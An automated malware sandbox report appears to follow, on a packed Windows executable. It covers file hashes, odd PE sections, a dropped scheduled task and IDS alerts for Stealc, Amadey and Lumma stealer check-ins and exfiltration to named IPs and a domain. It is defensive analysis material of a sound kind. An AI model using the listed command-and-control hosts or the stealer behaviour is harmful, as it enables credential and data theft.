Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0......61...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...iznludpw..).......).................@...zwkotnfl......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\FIDGHIIECG.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.492952576193109
Encrypted:	false
SSDEEP:	6:gP3MH/MDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lztqldt0:gUfQlvJQ1CGAFMkXd8kX+Vz4zt0
MD5:	162BC581A227B4B5A4F345B0D9614A8B
SHA1:	9F383E3AD8EBBDA3397C40FA03787F1DB994ECFA
SHA-256:	A8A892EAF082A2B9E8E66FCEE76394D05F918C7BE5CE108FF66B963E6309BAE8
SHA-512:	090BC2A98C7EE2A9B839091E105E4549F04061CB17B2DEF9655DA9F4E9013E9CD54FB1387C715B548DBAB5A6C6F60A50394EC07A7714F3CD3DF0374804A657E1
Malicious:	false
Preview:	.......y}.K.e.\|,..!F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	179299
Entropy (8bit):	5.547369532089825
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGOa9VMgoeSWInJ+LBIwK555ypuq/dP/JlpNMWzeAx+:eKR1tw+9+i7GFhJcOa/MgoeSWIJ+LBI/
MD5:	E51B78D04BF7FEADF2B7281088079FD5
SHA1:	47E0DCBBC95DA92A2B5E973C33200C3DD82E18A6
SHA-256:	7E8CC44AC8BED91DC83AF132CA1F374227C3A634F9020FFC66720C74A8DBAA53
SHA-512:	5377F671601862CBB506C1B33AA5F5ACAC2C451998C8A1A8E8C6754D2D11C96484483C081FB3A0407BAF1329D70F41ADE5CAB27993B6FA631384243BFC890813
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3509)
Category:	downloaded
Size (bytes):	3514
Entropy (8bit):	5.8370541608874955
Encrypted:	false
SSDEEP:	96:RwliUFd6666679hdk8+np6AVu/9rv+2Z/MffffQo:UJFd666667nO/npaV0
MD5:	C99F0E3A1585678B8ED0A4000FE593BF
SHA1:	2739FC8238B4D6051844CA179113BA0561549C97
SHA-256:	A752BC69EC30D50AF8E41A0E10984AEB590A60C6DBD1D18DCAFCAC1E6C1D7E01
SHA-512:	D3688B797D6F92461FC684F172449E3A832A051327C81D34611D27A75AB33EF05DA17D11F1A71F97C91BD26BB6BD2F229A674F92D7817CE31C8FEF11C80BC4EE
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["jack reacher season 3 release date","best marvel rivals characters","fannie mae home prices forecast","storm darragh weather warnings","abu dhabi grand prix qualifying results","netflix movie mary","apple ios 18.2","la galaxy new york red bulls"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXdqcHk0dnI5EhJNYXJ5IOKAlCAyMDI0IGZpbG0y0w5kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFhQUFBQ0F3RUJBQUFBQUFBQUFBQUFBQUFGQmdNRUJ3SUEvOFFBTmhBQUFRTURBZ01HQWdnSEFBQUFBQUFBQVFJREJBQUZFUkl

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134269
Entropy (8bit):	5.441853125543576
Encrypted:	false
SSDEEP:	3072:fWkX33ov7GsG688fJbk/5xnsTLWjwR2i6o:fJ3lr6t2/5xnsTawR8o
MD5:	7964091B01B6637685F2C02016349FB5
SHA1:	ED4E2AF6D5D58621D48E016A5B9D42FFAA645C1F
SHA-256:	EEADFC4D62F6165913888D631FA38C034D338DAF22CE6419457E6DF44E786024
SHA-512:	E663A69C53BC489EAE03EEF513B6229AB13124DD729FBBA9D56DB80B623F0516707FBA2ECB1C3B03DB789EF3603A7A99B9ABAA0B930853229CEC62455123DF74
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945332153087474
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'798'656 bytes
MD5:	e3dfbe72de430b4043393fb8ff8e2384
SHA1:	47fc80752fa0339680a1b3cb3d4b1ba5d0a502c5
SHA256:	2a78168b664e599c73fae2fb2f42c2198a7eb21453f8125e8393cde02129e101
SHA512:	e9b40a49f868e2c36d706b4075b538d243f9e844cb0169985c3f03fe7dd0d60aec28374a2a1ca5c473efa9237f867e371f746e752ecf75c3c1c8f56e60c4a461
SSDEEP:	49152:8pyxKeIy39ypo00pfrDQiC765nUjenUPU6ctbo4C:8pylA2prDQkUynYctb
TLSH:	9F85336B68E2A23CDEED4C712DF70F502F15AEF406DA24932C7C42624F5AE7047916AD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa92000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4904B64C9Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	16194c5a09dae2f16beaf97c15293119	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	898eb3905e45f6fbe1c5ed750a99aaa1	False	0.576171875	data	4.5281892317831165	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a8000	0x200	83a282ee0e755628d0c64f43e4a62b5d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fwbluwmq	0x4f4000	0x19d000	0x19ce00	ff0230354da55f71d44572f47eef8a43	False	0.9948703120269452	COM executable for DOS	7.954227143931772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dvjbilhj	0x691000	0x1000	0x400	6f006eb8b7e71e0f7599c88bdbc00f99	False	0.7646484375	data	6.013872813690963	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x692000	0x3000	0x2200	d26bca47f8d01e5e2d43c42daebe4de6	False	0.06364889705882353	DOS executable (COM)	0.6879369306716901	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x690c08	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-08T00:48:10.661239+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-08T00:48:11.110771+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-08T00:48:11.423519+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49701	TCP
2024-12-08T00:48:11.748811+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-08T00:48:11.881710+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49701	TCP
2024-12-08T00:48:13.195234+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-08T00:48:13.990260+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-08T00:48:40.417502+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:48:42.289391+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:48:44.628779+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:48:46.641536+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:48:53.727824+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:48:55.121622+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:49:00.685209+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49835	185.215.113.16	80	TCP
2024-12-08T00:49:49.263784+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49948	185.215.113.43	80	TCP
2024-12-08T00:49:53.692713+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49960	185.215.113.16	80	TCP
2024-12-08T00:49:59.170847+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	49957	TCP
2024-12-08T00:49:59.461238+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.7	65237	1.1.1.1	53	UDP
2024-12-08T00:50:00.519468+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49979	185.215.113.43	80	TCP
2024-12-08T00:50:00.822719+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49980	172.67.165.166	443	TCP
2024-12-08T00:50:00.822719+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49980	172.67.165.166	443	TCP
2024-12-08T00:50:01.639180+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49980	172.67.165.166	443	TCP
2024-12-08T00:50:01.639180+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49980	172.67.165.166	443	TCP
2024-12-08T00:50:01.978559+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49983	185.215.113.16	80	TCP
2024-12-08T00:50:02.899057+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49987	172.67.165.166	443	TCP
2024-12-08T00:50:02.899057+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49987	172.67.165.166	443	TCP
2024-12-08T00:50:03.706338+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49987	172.67.165.166	443	TCP
2024-12-08T00:50:03.706338+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49987	172.67.165.166	443	TCP
2024-12-08T00:50:05.233961+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49994	172.67.165.166	443	TCP
2024-12-08T00:50:05.233961+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49994	172.67.165.166	443	TCP
2024-12-08T00:50:08.209595+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	50001	172.67.165.166	443	TCP
2024-12-08T00:50:08.209595+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50001	172.67.165.166	443	TCP
2024-12-08T00:50:10.085293+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50001	172.67.165.166	443	TCP
2024-12-08T00:50:11.664702+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50008	185.215.113.43	80	TCP
2024-12-08T00:50:20.302040+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	50012	172.67.165.166	443	TCP
2024-12-08T00:50:20.302040+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50012	172.67.165.166	443	TCP
2024-12-08T00:50:21.077767+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50012	172.67.165.166	443	TCP
2024-12-08T00:50:21.077767+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50012	172.67.165.166	443	TCP
2024-12-08T00:50:27.218241+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	50013	172.67.165.166	443	TCP
2024-12-08T00:50:27.218241+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50013	172.67.165.166	443	TCP
2024-12-08T00:50:28.042623+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50013	172.67.165.166	443	TCP
2024-12-08T00:50:28.042623+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50013	172.67.165.166	443	TCP
2024-12-08T00:50:29.786622+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	50014	172.67.165.166	443	TCP
2024-12-08T00:50:29.786622+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50014	172.67.165.166	443	TCP
2024-12-08T00:50:32.171720+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	50015	172.67.165.166	443	TCP
2024-12-08T00:50:32.171720+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50015	172.67.165.166	443	TCP
2024-12-08T00:50:34.674752+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	50016	172.67.165.166	443	TCP
2024-12-08T00:50:34.674752+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50016	172.67.165.166	443	TCP
2024-12-08T00:50:37.049945+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	50017	172.67.165.166	443	TCP
2024-12-08T00:50:37.049945+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50017	172.67.165.166	443	TCP
2024-12-08T00:50:44.609858+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	50018	172.67.165.166	443	TCP
2024-12-08T00:50:44.609858+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50018	172.67.165.166	443	TCP
2024-12-08T00:50:44.632265+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50018	172.67.165.166	443	TCP
2024-12-08T00:50:44.632265+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	50018	172.67.165.166	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 00:48:00.872467041 CET	49671	443	192.168.2.7	204.79.197.203
Dec 8, 2024 00:48:02.075602055 CET	49671	443	192.168.2.7	204.79.197.203
Dec 8, 2024 00:48:02.528865099 CET	49674	443	192.168.2.7	104.98.116.138
